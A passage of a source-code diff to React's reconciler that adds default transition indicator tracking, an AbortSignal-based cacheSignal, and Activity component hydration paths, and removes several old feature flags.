 
 // If there are multiple, concurrent async actions, they are entangled. All
 // transition updates that occur while the async action is still in progress
@@ -37,8 +53,23 @@ let currentEntangledLane: Lane = NoLane;
 // until the async action scope has completed.
 let currentEntangledActionThenable: Thenable<void> | null = null;
 
+// Track the default indicator for every root. undefined means we haven't
+// had any roots registered yet. null means there's more than one callback.
+// If there's more than one callback we bailout to not supporting isomorphic
+// default indicators.
+let isomorphicDefaultTransitionIndicator:
+  | void
+  | null
+  | (() => void | (() => void)) = undefined;
+// The clean up function for the currently running indicator.
+let pendingIsomorphicIndicator: null | (() => void) = null;
+// The number of roots that have pending Transitions that depend on the
+// started isomorphic indicator.
+let pendingEntangledRoots: number = 0;
+let needsIsomorphicIndicator: boolean = false;
+
 export function entangleAsyncAction<S>(
-  transition: BatchConfigTransition,
+  transition: Transition,
   thenable: Thenable<S>,
 ): Thenable<S> {
   // `thenable` is the return value of the async action scope function. Create
@@ -57,6 +88,12 @@ export function entangleAsyncAction<S>(
       },
     };
     currentEntangledActionThenable = entangledThenable;
+    if (enableDefaultTransitionIndicator) {
+      needsIsomorphicIndicator = true;
+      // We'll check if we need a default indicator in a microtask. Ensure
+      // we have this scheduled even if no root is scheduled.
+      ensureScheduleIsScheduled();
+    }
   }
   currentEntangledPendingCount++;
   thenable.then(pingEngtangledActionScope, pingEngtangledActionScope);
@@ -64,24 +101,39 @@ export function entangleAsyncAction<S>(
 }
 
 function pingEngtangledActionScope() {
-  if (
-    currentEntangledListeners !== null &&
-    --currentEntangledPendingCount === 0
-  ) {
-    // All the actions have finished. Close the entangled async action scope
-    // and notify all the listeners.
-    if (currentEntangledActionThenable !== null) {
-      const fulfilledThenable: FulfilledThenable<void> =
-        (currentEntangledActionThenable: any);
-      fulfilledThenable.status = 'fulfilled';
+  if (--currentEntangledPendingCount === 0) {
+    if (enableProfilerTimer && enableComponentPerformanceTrack) {
+      if (!hasScheduledTransitionWork()) {
+        // If we have received no updates since we started the entangled Actions
+        // that means it didn't lead to a Transition being rendered. We need to
+        // clear the timer so that if we start another entangled sequence we use
+        // the next start timer instead of appearing like we were blocked the
+        // whole time. We currently don't log a track for Actions that don't
+        // render a Transition.
+        clearAsyncTransitionTimer();
+      }
     }
-    const listeners = currentEntangledListeners;
-    currentEntangledListeners = null;
-    currentEntangledLane = NoLane;
-    currentEntangledActionThenable = null;
-    for (let i = 0; i < listeners.length; i++) {
-      const listener = listeners[i];
-      listener();
+    clearEntangledAsyncTransitionTypes();
+    if (pendingEntangledRoots === 0) {
+      stopIsomorphicDefaultIndicator();
+    }
+    if (currentEntangledListeners !== null) {
+      // All the actions have finished. Close the entangled async action scope
+      // and notify all the listeners.
+      if (currentEntangledActionThenable !== null) {
+        const fulfilledThenable: FulfilledThenable<void> =
+          (currentEntangledActionThenable: any);
+        fulfilledThenable.status = 'fulfilled';
+      }
+      const listeners = currentEntangledListeners;
+      currentEntangledListeners = null;
+      currentEntangledLane = NoLane;
+      currentEntangledActionThenable = null;
+      needsIsomorphicIndicator = false;
+      for (let i = 0; i < listeners.length; i++) {
+        const listener = listeners[i];
+        listener();
+      }
     }
   }
 }
@@ -141,3 +193,71 @@ export function peekEntangledActionLane(): Lane {
 export function peekEntangledActionThenable(): Thenable<void> | null {
   return currentEntangledActionThenable;
 }
+
+export function registerDefaultIndicator(
+  onDefaultTransitionIndicator: () => void | (() => void),
+): void {
+  if (!enableDefaultTransitionIndicator) {
+    return;
+  }
+  if (isomorphicDefaultTransitionIndicator === undefined) {
+    isomorphicDefaultTransitionIndicator = onDefaultTransitionIndicator;
+  } else if (
+    isomorphicDefaultTransitionIndicator !== onDefaultTransitionIndicator
+  ) {
+    isomorphicDefaultTransitionIndicator = null;
+    // Stop any on-going indicator since it's now ambiguous.
+    stopIsomorphicDefaultIndicator();
+  }
+}
+
+export function startIsomorphicDefaultIndicatorIfNeeded() {
+  if (!enableDefaultTransitionIndicator) {
+    return;
+  }
+  if (!needsIsomorphicIndicator) {
+    return;
+  }
+  if (
+    isomorphicDefaultTransitionIndicator != null &&
+    pendingIsomorphicIndicator === null
+  ) {
+    try {
+      pendingIsomorphicIndicator =
+        isomorphicDefaultTransitionIndicator() || noop;
+    } catch (x) {
+      pendingIsomorphicIndicator = noop;
+      reportGlobalError(x);
+    }
+  }
+}
+
+function stopIsomorphicDefaultIndicator() {
+  if (!enableDefaultTransitionIndicator) {
+    return;
+  }
+  if (pendingIsomorphicIndicator !== null) {
+    const cleanup = pendingIsomorphicIndicator;
+    pendingIsomorphicIndicator = null;
+    cleanup();
+  }
+}
+
+function releaseIsomorphicIndicator() {
+  if (--pendingEntangledRoots === 0) {
+    stopIsomorphicDefaultIndicator();
+  }
+}
+
+export function hasOngoingIsomorphicIndicator(): boolean {
+  return pendingIsomorphicIndicator !== null;
+}
+
+export function retainIsomorphicIndicator(): () => void {
+  pendingEntangledRoots++;
+  return releaseIsomorphicIndicator;
+}
+
+export function markIsomorphicIndicatorHandled(): void {
+  needsIsomorphicIndicator = false;
+}
diff --git a/packages/react-reconciler/src/ReactFiberAsyncDispatcher.js b/packages/react-reconciler/src/ReactFiberAsyncDispatcher.js
index d329fb369cae..2dfee307e2c2 100644
--- a/packages/react-reconciler/src/ReactFiberAsyncDispatcher.js
+++ b/packages/react-reconciler/src/ReactFiberAsyncDispatcher.js
@@ -10,18 +10,12 @@
 import type {AsyncDispatcher, Fiber} from './ReactInternalTypes';
 import type {Cache} from './ReactFiberCacheComponent';
 
-import {enableCache} from 'shared/ReactFeatureFlags';
 import {readContext} from './ReactFiberNewContext';
 import {CacheContext} from './ReactFiberCacheComponent';
 
-import {disableStringRefs} from 'shared/ReactFeatureFlags';
-
 import {current as currentOwner} from './ReactCurrentFiber';
 
 function getCacheForType<T>(resourceType: () => T): T {
-  if (!enableCache) {
-    throw new Error('Not implemented.');
-  }
   const cache: Cache = readContext(CacheContext);
   let cacheForType: T | void = (cache.data.get(resourceType): any);
   if (cacheForType === undefined) {
@@ -31,11 +25,17 @@ function getCacheForType<T>(resourceType: () => T): T {
   return cacheForType;
 }
 
+function cacheSignal(): null | AbortSignal {
+  const cache: Cache = readContext(CacheContext);
+  return cache.controller.signal;
+}
+
 export const DefaultAsyncDispatcher: AsyncDispatcher = ({
   getCacheForType,
+  cacheSignal,
 }: any);
 
-if (__DEV__ || !disableStringRefs) {
+if (__DEV__) {
   DefaultAsyncDispatcher.getOwner = (): null | Fiber => {
     return currentOwner;
   };
diff --git a/packages/react-reconciler/src/ReactFiberBeginWork.js b/packages/react-reconciler/src/ReactFiberBeginWork.js
index 5c759d9a52cf..cf2c08236733 100644
--- a/packages/react-reconciler/src/ReactFiberBeginWork.js
+++ b/packages/react-reconciler/src/ReactFiberBeginWork.js
@@ -11,24 +11,33 @@ import type {
   ReactConsumerType,
   ReactContext,
   ReactNodeList,
+  ViewTransitionProps,
+  ActivityProps,
+  SuspenseProps,
+  SuspenseListProps,
+  SuspenseListRevealOrder,
+  SuspenseListTailMode,
+  TracingMarkerProps,
+  CacheProps,
+  ProfilerProps,
 } from 'shared/ReactTypes';
 import type {LazyComponent as LazyComponentType} from 'react/src/ReactLazy';
 import type {Fiber, FiberRoot} from './ReactInternalTypes';
 import type {TypeOfMode} from './ReactTypeOfMode';
 import type {Lanes, Lane} from './ReactFiberLane';
+import type {ActivityState} from './ReactFiberActivityComponent';
 import type {
   SuspenseState,
   SuspenseListRenderState,
-  SuspenseListTailMode,
 } from './ReactFiberSuspenseComponent';
 import type {SuspenseContext} from './ReactFiberSuspenseContext';
 import type {
+  LegacyHiddenProps,
   OffscreenProps,
   OffscreenState,
   OffscreenQueue,
   OffscreenInstance,
-} from './ReactFiberActivityComponent';
-import {OffscreenDetached} from './ReactFiberActivityComponent';
+} from './ReactFiberOffscreenComponent';
 import type {
   Cache,
   CacheComponentState,
@@ -37,8 +46,7 @@ import type {
 import type {UpdateQueue} from './ReactFiberClassUpdateQueue';
 import type {RootState} from './ReactFiberRoot';
 import type {TracingMarkerInstance} from './ReactFiberTracingMarkerComponent';
-import type {TransitionStatus} from './ReactFiberConfig';
-import type {Hook} from './ReactFiberHooks';
+import type {ViewTransitionState} from './ReactFiberViewTransitionComponent';
 
 import {
   markComponentRenderStarted,
@@ -73,12 +81,15 @@ import {
   CacheComponent,
   TracingMarkerComponent,
   Throw,
+  ViewTransitionComponent,
+  ActivityComponent,
 } from './ReactWorkTags';
 import {
   NoFlags,
   PerformedWork,
   Placement,
   Hydrating,
+  Callback,
   ContentReset,
   DidCapture,
   Update,
@@ -91,29 +102,24 @@ import {
   ForceClientRender,
   Passive,
   DidDefer,
+  ViewTransitionNamedStatic,
+  ViewTransitionNamedMount,
+  LayoutStatic,
 } from './ReactFiberFlags';
 import {
-  debugRenderPhaseSideEffectsForStrictMode,
   disableLegacyContext,
+  disableLegacyContextForFunctionComponents,
   enableProfilerCommitHooks,
   enableProfilerTimer,
   enableScopeAPI,
-  enableCache,
-  enableLazyContextPropagation,
   enableSchedulingProfiler,
   enableTransitionTracing,
   enableLegacyHidden,
   enableCPUSuspense,
-  enableAsyncActions,
-  enablePostpone,
-  enableRenderableContext,
-  enableRefAsProp,
   disableLegacyMode,
-  disableDefaultPropsExceptForClasses,
-  disableStringRefs,
-  enableOwnerStacks,
+  enableViewTransition,
+  enableFragmentRefs,
 } from 'shared/ReactFeatureFlags';
-import isArray from 'shared/isArray';
 import shallowEqual from 'shared/shallowEqual';
 import getComponentNameFromFiber from 'react-reconciler/src/getComponentNameFromFiber';
 import getComponentNameFromType from 'shared/getComponentNameFromType';
@@ -122,12 +128,9 @@ import {
   REACT_LAZY_TYPE,
   REACT_FORWARD_REF_TYPE,
   REACT_MEMO_TYPE,
-  getIteratorFn,
+  REACT_CONTEXT_TYPE,
 } from 'shared/ReactSymbols';
-import {
-  getCurrentFiberOwnerNameInDevOrNull,
-  setCurrentFiber,
-} from './ReactCurrentFiber';
+import {setCurrentFiber} from './ReactCurrentFiber';
 import {
   resolveFunctionForHotReloading,
   resolveForwardRefForHotReloading,
@@ -138,6 +141,7 @@ import {
   mountChildFibers,
   reconcileChildFibers,
   cloneChildFibers,
+  validateSuspenseListChildren,
 } from './ReactChildFiber';
 import {
   processUpdateQueue,
@@ -150,9 +154,10 @@ import {
   NoLane,
   NoLanes,
   OffscreenLane,
-  DefaultHydrationLane,
+  DefaultLane,
   SomeRetryLane,
   includesSomeLane,
+  includesOnlyRetries,
   laneToLanes,
   removeLanes,
   mergeLanes,
@@ -170,21 +175,20 @@ import {
   isSuspenseInstancePending,
   isSuspenseInstanceFallback,
   getSuspenseInstanceFallbackErrorDetails,
-  registerSuspenseInstanceRetry,
   supportsHydration,
   supportsResources,
   supportsSingletons,
   isPrimaryRenderer,
   getResource,
   createHoistableInstance,
+  HostTransitionContext,
 } from './ReactFiberConfig';
-import type {SuspenseInstance} from './ReactFiberConfig';
+import type {ActivityInstance, SuspenseInstance} from './ReactFiberConfig';
 import {shouldError, shouldSuspend} from './ReactFiberReconciler';
 import {
   pushHostContext,
   pushHostContainer,
   getRootHostContainer,
-  HostTransitionContext,
 } from './ReactFiberHostContext';
 import {
   suspenseStackCursor,
@@ -195,6 +199,7 @@ import {
   setShallowSuspenseListContext,
   pushPrimaryTreeSuspenseHandler,
   pushFallbackTreeSuspenseHandler,
+  pushDehydratedActivitySuspenseHandler,
   pushOffscreenSuspenseHandler,
   reuseSuspenseHandlerOnStack,
   popSuspenseHandler,
@@ -230,16 +235,18 @@ import {
   isContextProvider as isLegacyContextProvider,
   pushTopLevelContextObject,
   invalidateContextProvider,
-} from './ReactFiberContext';
+} from './ReactFiberLegacyContext';
 import {
   getIsHydrating,
   enterHydrationState,
+  reenterHydrationStateFromDehydratedActivityInstance,
   reenterHydrationStateFromDehydratedSuspenseInstance,
   resetHydrationState,
   claimHydratableSingleton,
   tryToClaimNextHydratableInstance,
   tryToClaimNextHydratableTextInstance,
-  tryToClaimNextHydratableSuspenseInstance,
+  claimNextHydratableActivityInstance,
+  claimNextHydratableSuspenseInstance,
   warnIfHydrating,
   queueHydrationError,
 } from './ReactFiberHydrationContext';
@@ -250,7 +257,6 @@ import {
   updateClassInstance,
   resolveClassComponentProps,
 } from './ReactFiberClassComponent';
-import {resolveDefaultPropsOnNonClassComponent} from './ReactFiberLazyComponent';
 import {
   createFiberFromTypeAndProps,
   createFiberFromFragment,
@@ -260,10 +266,10 @@ import {
   isFunctionClassComponent,
 } from './ReactFiber';
 import {
-  retryDehydratedSuspenseBoundary,
   scheduleUpdateOnFiber,
   renderDidSuspendDelayIfPossible,
   markSkippedUpdateLanes,
+  markRenderDerivedCause,
   getWorkInProgressRoot,
   peekDeferredLane,
 } from './ReactFiberWorkLoop';
@@ -273,11 +279,11 @@ import {
   createCapturedValueFromError,
   createCapturedValueAtFiber,
 } from './ReactCapturedValue';
+import {OffscreenVisible} from './ReactFiberOffscreenComponent';
 import {
   createClassErrorUpdate,
   initializeClassErrorUpdate,
 } from './ReactFiberThrow';
-import is from 'shared/objectIs';
 import {
   getForksAtLevel,
   isForkedChild,
@@ -298,11 +304,8 @@ import {
   pushRootMarkerInstance,
   TransitionTracingMarker,
 } from './ReactFiberTracingMarkerComponent';
-import {
-  callLazyInitInDEV,
-  callComponentInDEV,
-  callRenderInDEV,
-} from './ReactFiberCallUserSpace';
+import {callComponentInDEV, callRenderInDEV} from './ReactFiberCallUserSpace';
+import {resolveLazy} from './ReactFiberThenable';
 
 // A special exception that's used to unwind the stack when an update flows
 // into a dehydrated boundary.
@@ -316,22 +319,22 @@ let didReceiveUpdate: boolean = false;
 
 let didWarnAboutBadClass;
 let didWarnAboutContextTypeOnFunctionComponent;
+let didWarnAboutContextTypes;
 let didWarnAboutGetDerivedStateOnFunctionComponent;
-let didWarnAboutFunctionRefs;
 export let didWarnAboutReassigningProps: boolean;
 let didWarnAboutRevealOrder;
 let didWarnAboutTailOptions;
-let didWarnAboutDefaultPropsOnFunctionComponent;
+let didWarnAboutClassNameOnViewTransition;
 
 if (__DEV__) {
   didWarnAboutBadClass = ({}: {[string]: boolean});
   didWarnAboutContextTypeOnFunctionComponent = ({}: {[string]: boolean});
+  didWarnAboutContextTypes = ({}: {[string]: boolean});
   didWarnAboutGetDerivedStateOnFunctionComponent = ({}: {[string]: boolean});
-  didWarnAboutFunctionRefs = ({}: {[string]: boolean});
   didWarnAboutReassigningProps = false;
-  didWarnAboutRevealOrder = ({}: {[empty]: boolean});
+  didWarnAboutRevealOrder = ({}: {[string]: boolean});
   didWarnAboutTailOptions = ({}: {[string]: boolean});
-  didWarnAboutDefaultPropsOnFunctionComponent = ({}: {[string]: boolean});
+  didWarnAboutClassNameOnViewTransition = ({}: {[string]: boolean});
 }
 
 export function reconcileChildren(
@@ -413,7 +416,7 @@ function updateForwardRef(
   const ref = workInProgress.ref;
 
   let propsWithoutRef;
-  if (enableRefAsProp && 'ref' in nextProps) {
+  if ('ref' in nextProps) {
     // `ref` is just a prop now, but `forwardRef` expects it to not appear in
     // the props object. This used to happen in the JSX runtime, but now we do
     // it here.
@@ -431,33 +434,21 @@ function updateForwardRef(
   }
 
   // The rest is a fork of updateFunctionComponent
-  let nextChildren;
-  let hasId;
   prepareToReadContext(workInProgress, renderLanes);
   if (enableSchedulingProfiler) {
     markComponentRenderStarted(workInProgress);
   }
-  if (__DEV__) {
-    nextChildren = renderWithHooks(
-      current,
-      workInProgress,
-      render,
-      propsWithoutRef,
-      ref,
-      renderLanes,
-    );
-    hasId = checkDidRenderIdHook();
-  } else {
-    nextChildren = renderWithHooks(
-      current,
-      workInProgress,
-      render,
-      propsWithoutRef,
-      ref,
-      renderLanes,
-    );
-    hasId = checkDidRenderIdHook();
-  }
+
+  const nextChildren = renderWithHooks(
+    current,
+    workInProgress,
+    render,
+    propsWithoutRef,
+    ref,
+    renderLanes,
+  );
+  const hasId = checkDidRenderIdHook();
+
   if (enableSchedulingProfiler) {
     markComponentRenderStopped();
   }
@@ -486,13 +477,7 @@ function updateMemoComponent(
 ): null | Fiber {
   if (current === null) {
     const type = Component.type;
-    if (
-      isSimpleFunctionComponent(type) &&
-      Component.compare === null &&
-      // SimpleMemoComponent codepath doesn't resolve outer props either.
-      (disableDefaultPropsExceptForClasses ||
-        Component.defaultProps === undefined)
-    ) {
+    if (isSimpleFunctionComponent(type) && Component.compare === null) {
       let resolvedType = type;
       if (__DEV__) {
         resolvedType = resolveFunctionForHotReloading(type);
@@ -513,21 +498,6 @@ function updateMemoComponent(
         renderLanes,
       );
     }
-    if (!disableDefaultPropsExceptForClasses) {
-      if (__DEV__) {
-        if (Component.defaultProps !== undefined) {
-          const componentName = getComponentNameFromType(type) || 'Unknown';
-          if (!didWarnAboutDefaultPropsOnFunctionComponent[componentName]) {
-            console.error(
-              '%s: Support for defaultProps will be removed from memo components ' +
-                'in a future major release. Use JavaScript default parameters instead.',
-              componentName,
-            );
-            didWarnAboutDefaultPropsOnFunctionComponent[componentName] = true;
-          }
-        }
-      }
-    }
     const child = createFiberFromTypeAndProps(
       Component.type,
       null,
@@ -643,22 +613,28 @@ function updateOffscreenComponent(
   current: Fiber | null,
   workInProgress: Fiber,
   renderLanes: Lanes,
+  nextProps: OffscreenProps,
 ) {
-  const nextProps: OffscreenProps = workInProgress.pendingProps;
   const nextChildren = nextProps.children;
-  const nextIsDetached =
-    (workInProgress.stateNode._pendingVisibility & OffscreenDetached) !== 0;
 
   const prevState: OffscreenState | null =
     current !== null ? current.memoizedState : null;
 
-  markRef(current, workInProgress);
+  if (current === null && workInProgress.stateNode === null) {
+    // We previously reset the work-in-progress.
+    // We need to create a new Offscreen instance.
+    const primaryChildInstance: OffscreenInstance = {
+      _visibility: OffscreenVisible,
+      _pendingMarkers: null,
+      _retryCache: null,
+      _transitions: null,
+    };
+    workInProgress.stateNode = primaryChildInstance;
+  }
 
   if (
     nextProps.mode === 'hidden' ||
-    (enableLegacyHidden &&
-      nextProps.mode === 'unstable-defer-without-hiding') ||
-    nextIsDetached
+    (enableLegacyHidden && nextProps.mode === 'unstable-defer-without-hiding')
   ) {
     // Rendering a hidden tree.
 
@@ -672,6 +648,7 @@ function updateOffscreenComponent(
           ? mergeLanes(prevState.baseLanes, renderLanes)
           : renderLanes;
 
+      let remainingChildLanes;
       if (current !== null) {
         // Reset to the current children
         let currentChild = (workInProgress.child = current.child);
@@ -689,13 +666,12 @@ function updateOffscreenComponent(
           currentChild = currentChild.sibling;
         }
         const lanesWeJustAttempted = nextBaseLanes;
-        const remainingChildLanes = removeLanes(
+        remainingChildLanes = removeLanes(
           currentChildLanes,
           lanesWeJustAttempted,
         );
-        workInProgress.childLanes = remainingChildLanes;
       } else {
-        workInProgress.childLanes = NoLanes;
+        remainingChildLanes = NoLanes;
         workInProgress.child = null;
       }
 
@@ -704,6 +680,7 @@ function updateOffscreenComponent(
         workInProgress,
         nextBaseLanes,
         renderLanes,
+        remainingChildLanes,
       );
     }
 
@@ -718,12 +695,10 @@ function updateOffscreenComponent(
         cachePool: null,
       };
       workInProgress.memoizedState = nextState;
-      if (enableCache) {
-        // push the cache pool even though we're going to bail out
-        // because otherwise there'd be a context mismatch
-        if (current !== null) {
-          pushTransition(workInProgress, null, null);
-        }
+      // push the cache pool even though we're going to bail out
+      // because otherwise there'd be a context mismatch
+      if (current !== null) {
+        pushTransition(workInProgress, null, null);
       }
       reuseHiddenContextOnStack(workInProgress);
       pushOffscreenSuspenseHandler(workInProgress);
@@ -732,8 +707,9 @@ function updateOffscreenComponent(
       // and resume this tree later.
 
       // Schedule this fiber to re-render at Offscreen priority
-      workInProgress.lanes = workInProgress.childLanes =
-        laneToLanes(OffscreenLane);
+
+      const remainingChildLanes = (workInProgress.lanes =
+        laneToLanes(OffscreenLane));
 
       // Include the base lanes from the last render
       const nextBaseLanes =
@@ -746,6 +722,7 @@ function updateOffscreenComponent(
         workInProgress,
         nextBaseLanes,
         renderLanes,
+        remainingChildLanes,
       );
     } else {
       // This is the second render. The surrounding visible content has already
@@ -757,7 +734,7 @@ function updateOffscreenComponent(
         cachePool: null,
       };
       workInProgress.memoizedState = nextState;
-      if (enableCache && current !== null) {
+      if (current !== null) {
         // If the render that spawned this one accessed the cache pool, resume
         // using the same cache. Unless the parent changed, since that means
         // there was a refresh.
@@ -780,12 +757,10 @@ function updateOffscreenComponent(
     if (prevState !== null) {
       // We're going from hidden -> visible.
       let prevCachePool = null;
-      if (enableCache) {
-        // If the render that spawned this one accessed the cache pool, resume
-        // using the same cache. Unless the parent changed, since that means
-        // there was a refresh.
-        prevCachePool = prevState.cachePool;
-      }
+      // If the render that spawned this one accessed the cache pool, resume
+      // using the same cache. Unless the parent changed, since that means
+      // there was a refresh.
+      prevCachePool = prevState.cachePool;
 
       let transitions = null;
       if (enableTransitionTracing) {
@@ -810,13 +785,11 @@ function updateOffscreenComponent(
       // special to do. Need to push to the stack regardless, though, to avoid
       // a push/pop misalignment.
 
-      if (enableCache) {
-        // If the render that spawned this one accessed the cache pool, resume
-        // using the same cache. Unless the parent changed, since that means
-        // there was a refresh.
-        if (current !== null) {
-          pushTransition(workInProgress, null, null);
-        }
+      // If the render that spawned this one accessed the cache pool, resume
+      // using the same cache. Unless the parent changed, since that means
+      // there was a refresh.
+      if (current !== null) {
+        pushTransition(workInProgress, null, null);
       }
 
       // We're about to bail out, but we need to push this to the stack anyway
@@ -830,24 +803,43 @@ function updateOffscreenComponent(
   return workInProgress.child;
 }
 
+function bailoutOffscreenComponent(
+  current: Fiber | null,
+  workInProgress: Fiber,
+): Fiber | null {
+  if (
+    (current === null || current.tag !== OffscreenComponent) &&
+    workInProgress.stateNode === null
+  ) {
+    const primaryChildInstance: OffscreenInstance = {
+      _visibility: OffscreenVisible,
+      _pendingMarkers: null,
+      _retryCache: null,
+      _transitions: null,
+    };
+    workInProgress.stateNode = primaryChildInstance;
+  }
+
+  return workInProgress.sibling;
+}
+
 function deferHiddenOffscreenComponent(
   current: Fiber | null,
   workInProgress: Fiber,
   nextBaseLanes: Lanes,
   renderLanes: Lanes,
+  remainingChildLanes: Lanes,
 ) {
   const nextState: OffscreenState = {
     baseLanes: nextBaseLanes,
     // Save the cache pool so we can resume later.
-    cachePool: enableCache ? getOffscreenDeferredCache() : null,
+    cachePool: getOffscreenDeferredCache(),
   };
   workInProgress.memoizedState = nextState;
-  if (enableCache) {
-    // push the cache pool even though we're going to bail out
-    // because otherwise there'd be a context mismatch
-    if (current !== null) {
-      pushTransition(workInProgress, null, null);
-    }
+  // push the cache pool even though we're going to bail out
+  // because otherwise there'd be a context mismatch
+  if (current !== null) {
+    pushTransition(workInProgress, null, null);
   }
 
   // We're about to bail out, but we need to push this to the stack anyway
@@ -856,7 +848,7 @@ function deferHiddenOffscreenComponent(
 
   pushOffscreenSuspenseHandler(workInProgress);
 
-  if (enableLazyContextPropagation && current !== null) {
+  if (current !== null) {
     // Since this tree will resume rendering in a separate render, we need
     // to propagate parent contexts now so we don't lose track of which
     // ones changed.
@@ -867,23 +859,362 @@ function deferHiddenOffscreenComponent(
     );
   }
 
+  // We override the remaining child lanes to be the subset that we computed
+  // on the outside. We need to do this after propagating the context
+  // because propagateParentContextChangesToDeferredTree may schedule
+  // work which bubbles all the way up to the root and updates our child lanes.
+  // We want to dismiss that since we're not going to work on it yet.
+  workInProgress.childLanes = remainingChildLanes;
+
   return null;
 }
 
-// Note: These happen to have identical begin phases, for now. We shouldn't hold
-// ourselves to this constraint, though. If the behavior diverges, we should
-// fork the function.
-const updateLegacyHiddenComponent = updateOffscreenComponent;
+function updateLegacyHiddenComponent(
+  current: null | Fiber,
+  workInProgress: Fiber,
+  renderLanes: Lanes,
+) {
+  const nextProps: LegacyHiddenProps = workInProgress.pendingProps;
+  // Note: These happen to have identical begin phases, for now. We shouldn't hold
+  // ourselves to this constraint, though. If the behavior diverges, we should
+  // fork the function.
+  // This just works today because it has the same Props.
+  return updateOffscreenComponent(
+    current,
+    workInProgress,
+    renderLanes,
+    nextProps,
+  );
+}
 
-function updateCacheComponent(
-  current: Fiber | null,
+function mountActivityChildren(
   workInProgress: Fiber,
+  nextProps: ActivityProps,
   renderLanes: Lanes,
 ) {
-  if (!enableCache) {
-    return null;
+  if (__DEV__) {
+    const hiddenProp = (nextProps: any).hidden;
+    if (hiddenProp !== undefined) {
+      console.error(
+        '<Activity> doesn\'t accept a hidden prop. Use mode="hidden" instead.\n' +
+          '- <Activity %s>\n' +
+          '+ <Activity %s>',
+        hiddenProp === true
+          ? 'hidden'
+          : hiddenProp === false
+            ? 'hidden={false}'
+            : 'hidden={...}',
+        hiddenProp ? 'mode="hidden"' : 'mode="visible"',
+      );
+    }
   }
+  const nextChildren = nextProps.children;
+  const nextMode = nextProps.mode;
+  const mode = workInProgress.mode;
+  const offscreenChildProps: OffscreenProps = {
+    mode: nextMode,
+    children: nextChildren,
+  };
+  const primaryChildFragment = mountWorkInProgressOffscreenFiber(
+    offscreenChildProps,
+    mode,
+    renderLanes,
+  );
+  primaryChildFragment.ref = workInProgress.ref;
+  workInProgress.child = primaryChildFragment;
+  primaryChildFragment.return = workInProgress;
+  return primaryChildFragment;
+}
 
+function retryActivityComponentWithoutHydrating(
+  current: Fiber,
+  workInProgress: Fiber,
+  renderLanes: Lanes,
+) {
+  // Falling back to client rendering. Because this has performance
+  // implications, it's considered a recoverable error, even though the user
+  // likely won't observe anything wrong with the UI.
+
+  // This will add the old fiber to the deletion list
+  reconcileChildFibers(workInProgress, current.child, null, renderLanes);
+
+  // We're now not suspended nor dehydrated.
+  const nextProps: ActivityProps = workInProgress.pendingProps;
+  const primaryChildFragment = mountActivityChildren(
+    workInProgress,
+    nextProps,
+    renderLanes,
+  );
+  // Needs a placement effect because the parent (the Activity boundary) already
+  // mounted but this is a new fiber.
+  primaryChildFragment.flags |= Placement;
+
+  // If we're not going to hydrate we can't leave it dehydrated if something
+  // suspends. In that case we want that to bubble to the nearest parent boundary
+  // so we need to pop our own handler that we just pushed.
+  popSuspenseHandler(workInProgress);
+
+  workInProgress.memoizedState = null;
+
+  return primaryChildFragment;
+}
+
+function mountDehydratedActivityComponent(
+  workInProgress: Fiber,
+  activityInstance: ActivityInstance,
+  renderLanes: Lanes,
+): null | Fiber {
+  // During the first pass, we'll bail out and not drill into the children.
+  // Instead, we'll leave the content in place and try to hydrate it later.
+  // We'll continue hydrating the rest at offscreen priority since we'll already
+  // be showing the right content coming from the server, it is no rush.
+  workInProgress.lanes = laneToLanes(OffscreenLane);
+  return null;
+}
+
+function updateDehydratedActivityComponent(
+  current: Fiber,
+  workInProgress: Fiber,
+  didSuspend: boolean,
+  nextProps: ActivityProps,
+  activityInstance: ActivityInstance,
+  activityState: ActivityState,
+  renderLanes: Lanes,
+): null | Fiber {
+  // We'll handle suspending since if something suspends we can just leave
+  // it dehydrated. We push early and then pop if we enter non-dehydrated attempts.
+  pushDehydratedActivitySuspenseHandler(workInProgress);
+  if (!didSuspend) {
+    // This is the first render pass. Attempt to hydrate.
+
+    // We should never be hydrating at this point because it is the first pass,
+    // but after we've already committed once.
+    warnIfHydrating();
+
+    if (includesSomeLane(renderLanes, (OffscreenLane: Lane))) {
+      // If we're rendering Offscreen and we're entering the activity then it's possible
+      // that the only reason we rendered was because this boundary left work. Provide
+      // it as a cause if another one doesn't already exist.
+      markRenderDerivedCause(workInProgress);
+    }
+
+    if (
+      // TODO: Factoring is a little weird, since we check this right below, too.
+      !didReceiveUpdate
+    ) {
+      // We need to check if any children have context before we decide to bail
+      // out, so propagate the changes now.
+      lazilyPropagateParentContextChanges(current, workInProgress, renderLanes);
+    }
+
+    // We use lanes to indicate that a child might depend on context, so if
+    // any context has changed, we need to treat is as if the input might have changed.
+    const hasContextChanged = includesSomeLane(renderLanes, current.childLanes);
+    if (didReceiveUpdate || hasContextChanged) {
+      // This boundary has changed since the first render. This means that we are now unable to
+      // hydrate it. We might still be able to hydrate it using a higher priority lane.
+      const root = getWorkInProgressRoot();
+      if (root !== null) {
+        const attemptHydrationAtLane = getBumpedLaneForHydration(
+          root,
+          renderLanes,
+        );
+        if (
+          attemptHydrationAtLane !== NoLane &&
+          attemptHydrationAtLane !== activityState.retryLane
+        ) {
+          // Intentionally mutating since this render will get interrupted. This
+          // is one of the very rare times where we mutate the current tree
+          // during the render phase.
+          activityState.retryLane = attemptHydrationAtLane;
+          enqueueConcurrentRenderForLane(current, attemptHydrationAtLane);
+          scheduleUpdateOnFiber(root, current, attemptHydrationAtLane);
+
+          // Throw a special object that signals to the work loop that it should
+          // interrupt the current render.
+          //
+          // Because we're inside a React-only execution stack, we don't
+          // strictly need to throw here — we could instead modify some internal
+          // work loop state. But using an exception means we don't need to
+          // check for this case on every iteration of the work loop. So doing
+          // it this way moves the check out of the fast path.
+          throw SelectiveHydrationException;
+        } else {
+          // We have already tried to ping at a higher priority than we're rendering with
+          // so if we got here, we must have failed to hydrate at those levels. We must
+          // now give up. Instead, we're going to delete the whole subtree and instead inject
+          // a new real Activity boundary to take its place. This might suspend for a while
+          // and if it does we might still have an opportunity to hydrate before this pass
+          // commits.
+        }
+      }
+
+      // If we did not selectively hydrate, we'll continue rendering without
+      // hydrating. Mark this tree as suspended to prevent it from committing
+      // outside a transition.
+      //
+      // This path should only happen if the hydration lane already suspended.
+      renderDidSuspendDelayIfPossible();
+      return retryActivityComponentWithoutHydrating(
+        current,
+        workInProgress,
+        renderLanes,
+      );
+    } else {
+      // This is the first attempt.
+
+      reenterHydrationStateFromDehydratedActivityInstance(
+        workInProgress,
+        activityInstance,
+        activityState.treeContext,
+      );
+
+      const primaryChildFragment = mountActivityChildren(
+        workInProgress,
+        nextProps,
+        renderLanes,
+      );
+      // Mark the children as hydrating. This is a fast path to know whether this
